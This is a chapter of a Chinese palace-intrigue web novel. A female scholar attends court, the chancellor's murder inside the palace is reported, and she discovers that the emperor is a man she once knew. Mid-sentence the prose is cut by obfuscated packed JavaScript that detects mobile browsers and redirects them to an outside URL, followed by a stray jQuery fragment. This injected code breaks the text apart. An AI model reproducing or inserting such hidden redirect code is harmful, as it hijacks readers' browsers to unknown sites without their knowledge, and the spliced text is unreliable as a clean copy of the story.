宁月第二日便被传召到了宣政殿,说是要她旁听,还没来得及准备什么,就被管事太监拉走塞了一套官服,换好后,又被带到了瑞芝面前,“姑娘,太后命我来跟您说一声,打今儿起,您每日需得跟着上朝,尽快熟悉朝堂。”
宁月了然,但没想到太后会给她这种恩典。
“多谢姑姑,敢问姑姑,太后娘娘希望我为她做什么呢?”
不愧是个一点就透的妙人,瑞芝心中倒是对宁月生出几分欣赏,她道,“太后娘娘没有什么需要你做的,她只希望你可以把心往仕途上用。”
这话里的意味十分明显,既然选择了仕途,那就不要肖想些旁的。满朝文武只有她是女人,若是有心,从朝堂走到后宫,可谓不费吹灰之力。
梁太后害怕的便是宁月忍不住诱惑,为官之心不够坚定,转而成为了皇帝的女人。
那她的殿试岂不成了笑话?
宁月朝着瑞芝恭敬行礼,做出了承诺,“请太后娘娘放心,民女一定铭记于心。”
瑞芝看着她坚定的眼神,知晓她一定会做到,轻轻颔首后便离开了。
宁月第一次上朝,不免有些紧张,她走在台阶上,心情说不出是什么滋味,只感受到周围朝她投射而来的目光。
李显今日格外注重打扮,他平时上朝都有贴身太监张丘准备好一切,这是第一次自己挑朝服。
想起在边关时,宁月穿的那一身绿,他也挑了一件墨绿色滚边绣金龙的朝服,配上墨玉发冠,腰间系上一条流苏玉绦。
张丘进来时便看到他站在铜镜前,不由得一愣,好奇道,“陛下,您今儿怎么想起来自个儿打扮了?”
李显今天心情很好的样子,对着他说道,“朕突然发现自己这副皮囊甚好。”
说着,李显还整理了一下发冠,看着镜中的自己,嘴角不禁漾开一丝笑意。
张丘见他这副模样,不禁呆愣在原地,陛下这是什么情况,有了喜欢的姑娘?
平时都只爱穿些低调的,这次竟然挑了所有朝服里最华贵的那件……
“陛下这话说的,您的风姿无人可及。”
张丘边说边上前为他整理衣袖,李显看着身上的衣服,再三确认毫无瑕疵,这才走出了朝日宫。
宁月站在最后一排,根本看不清前方都是什么人,更别说看清皇帝了。
她在心中不由得感叹,也不知道太后到底在担心些什么,她连皇帝的面都见不到。
李显就在这时走进了宣政殿,他上朝不喜别人扯着嗓子通传,都是自顾自来,听完便走。
是以,宁月并没有发现皇帝已经来了,还在神思天外。
而李显却从刚迈进宣政殿,就发现了宁月,但他没有选择立马与她相认,而是打算一会儿吓吓她。
宁月最前排的大臣们见皇帝终于从边关凯旋,恭维的话说个不停,李显有些不耐,直言道,“众爱卿可有其他事禀奏?”
李显说完,环顾一圈并没有发现赵元松的身影,于是开口问道,“丞相大人今日可是请辞了?”
底下的人交头接耳,小声低语起来,江灿左看右看,发现大臣们都在盯着自己。
毕竟他与赵元松是定了亲的关系,都说一荣俱荣一损俱损,现在他不见了,大家自然以为他这个亲家知道。
李显见状,问道,“江大人,你可知丞相去了哪里?”
江灿怎么会知道,但皇帝这么问,他不知道也要给个答复。
“启禀陛下,臣自边关回来就一直闭门休养,并不知道丞相的去向。”
李显有些不信,他说道,“可朕听闻江公子和丞相千金定了亲,你们也算是亲家,如此关系你会不知?”
底下的大臣们闻言纷纷点头,皇帝说得对啊,这种一看就是强强联合的结亲,双方关系绑定极深,甚至子女有时候都只是他们的棋子,江灿怎么会不知道自己的亲家去了哪?
边关一战后,江灿是认了怂,梁太后是不想把人逼急,而唯独李显,没有放过他的打算。
“陛下,臣……真的不知道啊……”
江灿真的有苦说不出,大家没有证据,但是大家都怀疑他,这种滋味真令人难受……
李显听他无奈的语气,不准备继续为难他,反而说道,“那既如此,就由江大人探查一下丞相的行踪吧,一旦有消息,即刻禀报与我。”
“是,陛下。”江灿恨不得将头埋到袖子里,他在心里默默给赵元松记了一笔。
等日后正式结为亲家,他必然要找他好好算账。
李显昨日便安排人去查探宫内走水之事,御察司的人从烧毁的屋内抬出一具焦尸,经过查验,确认是当朝丞相赵元松无疑。
申汝良匆忙写下一份奏折,便立刻拿着赶往宣政殿,“陛下,臣有事要奏。”
李显看了一眼身旁的张丘,对方立刻明白过来,走到申汝良面前拿走了奏折。
奏折被稳妥放到李显手中,他慢慢翻开来看,还不忘对着申汝良说,“申大人,说吧。”
“昨日宫内走水,臣不敢耽搁,立即带人前往,于大火中寻到焦尸一具,经过仵作查验,确认是丞相赵元松无疑。”
申汝良站在大殿中间,距离宁月是个不远不近的距离,但是他声如洪钟,十分响亮,宁月一字不漏地听见了他说的话。
丞相被人杀了,还是在宫里,这怎么听都不像是小事……
江灿满脸惊恐,他冲到申汝良面前,“你……你说的可是真的?”他好不容易攀上个亲家,就这么没了?
申汝良点头,还对着江灿安慰了句,“请江大人节哀。”
原本朝中之人都认为这门亲事,是江灿高攀,现在赵元松死了,还真说不好是谁高攀。
李显看了一眼下方的两人,江灿自觉失态,规规矩矩站回队伍中,不再言语。
申汝良则是十分担忧,丞相一死,牵扯出很多问题。
比如,皇宫的治安,这个杀人凶手如果是宫外的人,那就证明是御林军的失职;可如果这凶手是宫内之人,那他为什么要杀
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17625253|206243||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
丞相,下一步的目标又是谁?
现在皇宫上下人心惶惶,他们生怕成为第二个赵元松。
此时大殿氛围有些诡异,李显揉了揉额角,看向身旁的张丘,悄声在他耳边说道,“想办法封锁消息,不要再继续扩散。”
“是,陛下。”
当朝丞相被杀,这事传到老百姓耳朵里,还不知道会造成什么严重的影响。
吩咐完张丘,李显便看到了同样在下面与人窃窃私语的宁月,心下有点莫名的情绪,他喊了一声,“朕听闻本次科考有位女状元叫宁月?”
宁月站得远,听不清皇帝说的话,依旧在和身边的人攀谈,直到前方有人拽了拽她的衣袖,“陛下叫你呢,还不快上前去?”
她这才如梦初醒,低着头弓着腰便上前一跪,这一下力道不小,膝盖都震得有些发麻,但宁月忍着,等候皇帝发话。
“宁爱卿,听闻你的家乡是边关石桥村,朕曾吃过那里的米粥和腌肉,滋味确实不错。”
宁月闻言,猛地一抬头,发现上方龙椅里赫然坐着那个曾经被它买回家的夫君,李显!
直到此刻,她才想明白,李显这个名字,本来就不普通,首先李是皇姓,其次,单名一个字,是宸启历代帝王的习惯。
她懊悔地拍了拍脑袋,自己当时怎么就没想到呢?倏尔,她又想起今天早上瑞芝说的话,难不成太后早就知道李显认识她?
宁月脸上的表情仿佛经历了一遭人生的大起大落,可面对皇帝的询问,也不能不回话,于是她硬着头皮说道,“多谢陛下抬爱。”
哪知对方立刻回了句,“朕没有抬爱你,朕这是在抬举你。”
“……”
宁月无话可说,她现在一点都不想靠近他,如果让她知道李显是皇帝,都不用梁太后来提醒,她都会自动退避三舍。
没有别的原因,只是因为她对李显确实有过心动。
待在一起相处时间久了,保不齐会出现什么意外情况,还是离得越远越好。
底下的大臣们听着皇帝的话,纷纷猜测起他们之间的关系。
江灿则是一脸见怪不怪的模样,他瞥向一旁的袁捷,露出一丝讥讽,还没等袁捷反击,李显又继续说道,“朕听闻宁爱卿才华横溢,尤其是在诗词歌赋上造诣颇深,可否入宫讲学几天,权当为朕答疑解惑了。”
大臣们你看看我我看看你,多半露出一副了然的神色,其中几人私下说道,“我说呢,怎么允许女人进朝堂,原来这是陛下的意思。”
“是啊,本以为是来做官的,没想到是来选妃的,你说说这……”
“那为什么不干脆直接收进后宫,还要参加什么殿试?太后这是什么意思,现在选妃都要和朝堂挂上钩了?”
各种话语如流水般涌入宁月的耳朵里,她的努力在这群人眼里仿佛成了最不重要的东西,只因为李显说的几句话,他们便开始妄加揣测,对她下定义。
一股强烈的不甘涌上心头,宁月手指蜷缩,直直看向上方的李显。